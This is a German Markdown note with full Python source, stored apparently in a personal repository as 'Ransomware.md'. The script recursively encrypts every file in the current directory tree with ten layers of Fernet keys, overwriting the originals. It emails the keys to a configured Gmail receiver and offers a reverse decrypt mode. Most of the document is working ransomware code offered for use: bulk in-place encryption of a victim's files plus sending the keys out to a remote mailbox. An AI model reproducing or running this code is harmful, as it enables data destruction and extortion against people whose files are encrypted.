Files
Server-MrHossa/FLATNOTES/Ransomware.md

137 lines
3.7 KiB
Markdown
Executable File

# Datei-Verschlüsselung mit Python
Dieses Python-Skript verschlüsselt oder entschlüsselt Dateien rekursiv mit mehreren `Fernet`-Schlüsseln aus der Bibliothek `cryptography`.
---
# Funktionen
- Mehrfache Verschlüsselung (`ROUNDS`)
- Automatische Schlüssel-Erstellung
- Speicherung der Schlüssel in `keys.txt`
- Versand der Schlüssel per Gmail
- Entschlüsselung mit umgekehrter Schlüssel-Reihenfolge
- Rekursive Verarbeitung aller Dateien im aktuellen Ordner
---
# Voraussetzungen
Benötigte Bibliothek installieren:
```bash
pip install cryptography
```
---
# Konfiguration
Passe diese Variablen an:
```python
GMAIL_USER = "deine_mail@gmail.com"
GMAIL_APP_PASSWORD = "gmail_app_passwort"
RECEIVER_MAIL = "empfaenger@gmail.com"
```
---
# Nutzung
Skript starten:
```bash
python encrypt.py
```
Danach auswählen:
- `e` → Dateien verschlüsseln
- `d` → Dateien entschlüsseln
---
# Sicherheitshinweise
- Die Datei `keys.txt` enthält alle Schlüssel.
- Ohne diese Schlüssel können die Dateien nicht entschlüsselt werden.
- Die Reihenfolge der Schlüssel ist wichtig.
- Vor Nutzung unbedingt ein Backup erstellen.
- Dateien aus `EXCLUDE` werden ignoriert.
---
# Vollständiger Code
```python
import pathlib
import smtplib
from email.message import EmailMessage
from cryptography.fernet import Fernet
GMAIL_USER = ""
GMAIL_APP_PASSWORD = ""
RECEIVER_MAIL = ""
EXCLUDE = {"encrypt.py", "keys.txt"}
ROUNDS = 10
def send_keys_via_mail(keys):
msg = EmailMessage()
key_text = "\n".join([f"Runde {i+1}: {k}" for i, k in enumerate(keys)])
msg.set_content(f"Bewahre diese Schlüssel gut auf (Reihenfolge ist wichtig!):\n\n{key_text}")
msg['Subject'] = f"🔒 Deine {len(keys)} Entschlüsselungs-Keys"
msg['From'] = GMAIL_USER
msg['To'] = RECEIVER_MAIL
try:
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
smtp.login(GMAIL_USER, GMAIL_APP_PASSWORD)
smtp.send_message(msg)
print("E-Mail mit allen Schlüsseln wurde versendet.")
except Exception as e:
print(f"E-Mail Fehler: {e}. Keys werden NUR lokal gespeichert!")
def get_or_create_keys(count):
path = pathlib.Path("keys.txt")
if not path.exists():
keys = [Fernet.generate_key().decode() for _ in range(count)]
path.write_text("\n".join(keys))
send_keys_via_mail(keys)
return [k.encode() for k in keys]
return [k.encode() for k in path.read_text().splitlines()]
def process_files(mode, keys):
# Bei Decrypt müssen wir die Keys in umgekehrter Reihenfolge nutzen!
active_keys = keys[::-1] if mode == "decrypt" else keys
for path in pathlib.Path(".").rglob("*"):
if path.is_file() and path.name not in EXCLUDE:
try:
data = path.read_bytes()
for k in active_keys:
fernet = Fernet(k)
data = fernet.decrypt(data) if mode == "decrypt" else fernet.encrypt(data)
path.write_bytes(data)
print(f"{mode.capitalize()} erfolgreich: {path.name}")
except Exception as e:
print(f"Fehler bei {path.name}: {e} (Evtl. falscher Key oder Modus?)")
def main():
choice = input("Möchtest du (e)ncrypten oder (d)ecrypten? ").lower()
if choice == 'e':
keys = get_or_create_keys(ROUNDS)
process_files("encrypt", keys)
elif choice == 'd':
if not pathlib.Path("keys.txt").exists():
print("Fehler: keys.txt nicht gefunden!")
return
keys = [k.encode() for k in pathlib.Path("keys.txt").read_text().splitlines()]
process_files("decrypt", keys)
else:
print("Ungültige Auswahl.")
if __name__ == "__main__":
main()
```